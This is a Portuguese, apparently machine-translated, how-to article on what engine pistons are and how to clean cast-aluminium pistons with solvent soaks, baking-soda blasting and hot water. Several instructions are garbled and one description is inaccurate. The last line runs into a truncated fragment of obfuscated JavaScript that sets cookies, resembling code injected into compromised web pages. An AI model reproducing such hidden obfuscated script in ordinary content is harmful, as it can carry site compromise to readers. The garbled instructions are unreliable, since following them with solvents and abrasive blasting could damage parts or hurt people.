Como limpar os pistões do motor

Há muitas peças que são vitais para o funcionamento do nosso carro, uma delas é o pistão, que é parte dos elementos móveis que encontraremos dentro do motor e que é responsável por comprimir a mistura de ar e combustível no cilindro.

O pistão é um elemento metálico na forma de um cone que está dentro do cilindro e dentro do bloco do motor. Está fechado na parte superior, aberto na parte inferior e preso à biela na parte central.

É constituída por várias partes, a cabeça, o anel de compressão superior, o segundo anel de compressão, o anel de óleo, o pino de êmbolo e seguras, a saia, o braço da manivela, rolamentos e parafusos e tampa de manivela.

Entre as características mais importantes que o pistão deve ter, veremos que sua estrutura deve ser muito robusta na parte onde suporta um esforço maior, isto é, na cabeça onde estão os anéis.

Ele também deve ser leve e todos os pistões do motor tem de ter o mesmo peso para evitar desequilíbrios nos cilindros, o material a partir do qual é feito deve ter uma excelente condutibilidade térmica de resistir a altas temperaturas e é requerido para ter uma alta resistência ao desgaste e corrosão.

Como limpar os pistões

Os pistões de alumínio fundido não são os melhores que existem, mas a maioria dos carros os possui. O segredo do êmbolo fundido está em sua economia, já que um pistão fundido funciona adequadamente na maioria das circunstâncias. A natureza macia e porosa do material faz com que a remoção de carbono, verniz e acúmulo de óleo seja um processo demorado. No entanto, tudo se torna muito simples, contanto que você tenha as ferramentas certas e esteja disposto a dedicar um pouco do seu tempo a isso

Coloque os pistões em uma assadeira ou em uma lata de café e, em seguida, encha o recipiente com o líquido de limpeza do carburador até que os pistões fiquem submersos. Se você não tiver um limpador de carburador, a acetona, solvente de nafta ou solvente de tinta funcionarão. Cubra o molde ou a lata com folha de alumínio para evitar que o solvente evapore e deixe descansar durante a noite.

Remova os pistões do banho de solvente e lave-os com detergente e água. Use o pincel para remover qualquer resíduo. Você pode perceber que isso é suficiente, já que a imersão no solvente durante a noite e uma boa lavagem devem eliminar a maioria dos depósitos. Se não, seque os pistões com jato de ar e prossiga com o passo três.

Carregar o depósito para a areia com bicarbonato de sódio, atire a arma para purgar o excesso de areia e coloque seus pistões em suas mãos. Pulverize as coberturas, os fundos, as cavidades e os segmentos dos pistões. Bicarbonato de sódio é um meio muito suave; Ele usa um pouco mais de pressão do que você usa quando trabalha com areia. Evite bater no interior do parafuso para ter certeza.

Mergulhe os pistões em água quente ou fervente. É onde o bicarbonato de sódio vai realmente brilhar, porque ao contrário da areia, ele se dissolve facilmente na água. A solução de bicarbonato de sódio irá garantir que você não termine com o bicarbonato de sódio bloqueando os pequenos dutos de lubrificação dos pistões. Se você quiser ser duplamente seguro, mergulhe os pistões em uma solução 50-50 de vinagre e água e lave-os novamente.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]